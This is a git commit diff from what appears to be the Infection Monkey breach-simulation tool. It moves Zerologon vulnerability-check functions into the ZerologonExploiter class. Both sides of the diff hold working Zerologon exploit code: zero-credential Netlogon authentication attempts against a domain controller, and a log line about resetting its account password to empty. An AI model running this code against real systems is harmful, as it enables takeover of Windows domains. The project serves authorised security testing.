Agent: Move is_exploitable to zerologon.py

This commit is contained in:
Kekoa Kaaikala 2022-10-07 19:46:54 +00:00
parent 374d3d8a50
commit 2281d52acc
2 changed files with 71 additions and 75 deletions

View File

@ -26,11 +26,7 @@ from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.vuln_assessment import ( from infection_monkey.exploit.zerologon_utils.vuln_assessment import connect_to_dc, get_dc_details
connect_to_dc,
get_dc_details,
is_exploitable,
)
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.utils.capture_output import StdoutCapture from infection_monkey.utils.capture_output import StdoutCapture
@ -78,7 +74,7 @@ class ZerologonExploiter(HostExploiter):
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
can_exploit, rpc_con = is_exploitable(self) can_exploit, rpc_con = self.is_exploitable()
if can_exploit: if can_exploit:
logger.info("Target vulnerable, changing account password to empty string.") logger.info("Target vulnerable, changing account password to empty string.")
@ -116,6 +112,73 @@ class ZerologonExploiter(HostExploiter):
return self.exploit_result return self.exploit_result
def is_exploitable(self) -> Tuple[bool, Optional[rpcrt.DCERPC_v5]]:
"""
Attempt to authenticate with the domain controller
:return:
- Whether or not authentication was successful
- An RPC connection on success, otherwise None
"""
# Connect to the DC's Netlogon service.
try:
rpc_con = connect_to_dc(self.dc_ip)
except Exception as err:
error_message = f"Exception occurred while connecting to DC: {err}"
logger.info(error_message)
return False, None
# Try authenticating.
for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
try:
rpc_con_auth_result = self._try_zero_authenticate(rpc_con)
if rpc_con_auth_result is not None:
return True, rpc_con_auth_result
except Exception as err:
error_message = f"Error occured while authenticating to {self.host}: {err}"
logger.info(error_message)
return False, None
return False, None
def _try_zero_authenticate(self, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5:
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
flags = 0x212FFFFF
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con,
self.dc_handle + "\x00",
self.dc_name + "\x00",
plaintext,
)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
self.dc_handle + "\x00",
self.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
self.dc_name + "\x00",
ciphertext,
flags,
)
assert server_auth["ErrorCode"] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if (
ex.get_error_code() == 0xC0000022
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
except BaseException as ex:
raise Exception(f"Unexpected error: {ex}.")
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
exploit_attempt_result = self.try_exploit_attempt(rpc_con) exploit_attempt_result = self.try_exploit_attempt(rpc_con)

View File

@ -1,13 +1,12 @@
import logging import logging
from typing import Optional, Tuple from typing import Tuple
import nmb.NetBIOS import nmb.NetBIOS
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5 import epm, nrpc, transport
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.utils.exceptions import DomainControllerNameFetchError from common.utils.exceptions import DomainControllerNameFetchError
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -44,69 +43,3 @@ def _get_dc_name(dc_ip: str) -> str:
raise DomainControllerNameFetchError( raise DomainControllerNameFetchError(
"Couldn't get domain controller's name, maybe it's on external network?" "Couldn't get domain controller's name, maybe it's on external network?"
) )
def is_exploitable(zerologon_exploiter_object) -> Tuple[bool, Optional[rpcrt.DCERPC_v5]]:
# Connect to the DC's Netlogon service.
try:
rpc_con = connect_to_dc(zerologon_exploiter_object.dc_ip)
except Exception as err:
error_message = f"Exception occurred while connecting to DC: {err}"
logger.info(error_message)
return False, None
# Try authenticating.
for _ in interruptible_iter(
range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt
):
try:
rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con)
if rpc_con_auth_result is not None:
return True, rpc_con_auth_result
except Exception as err:
error_message = (
f"Error occured while authenticating to {zerologon_exploiter_object.host}: {err}"
)
logger.info(error_message)
return False, None
return False, None
def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5:
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
flags = 0x212FFFFF
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "\x00",
plaintext,
)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
zerologon_exploiter_object.dc_name + "\x00",
ciphertext,
flags,
)
assert server_auth["ErrorCode"] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if (
ex.get_error_code() == 0xC0000022
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
except BaseException as ex:
raise Exception(f"Unexpected error: {ex}.")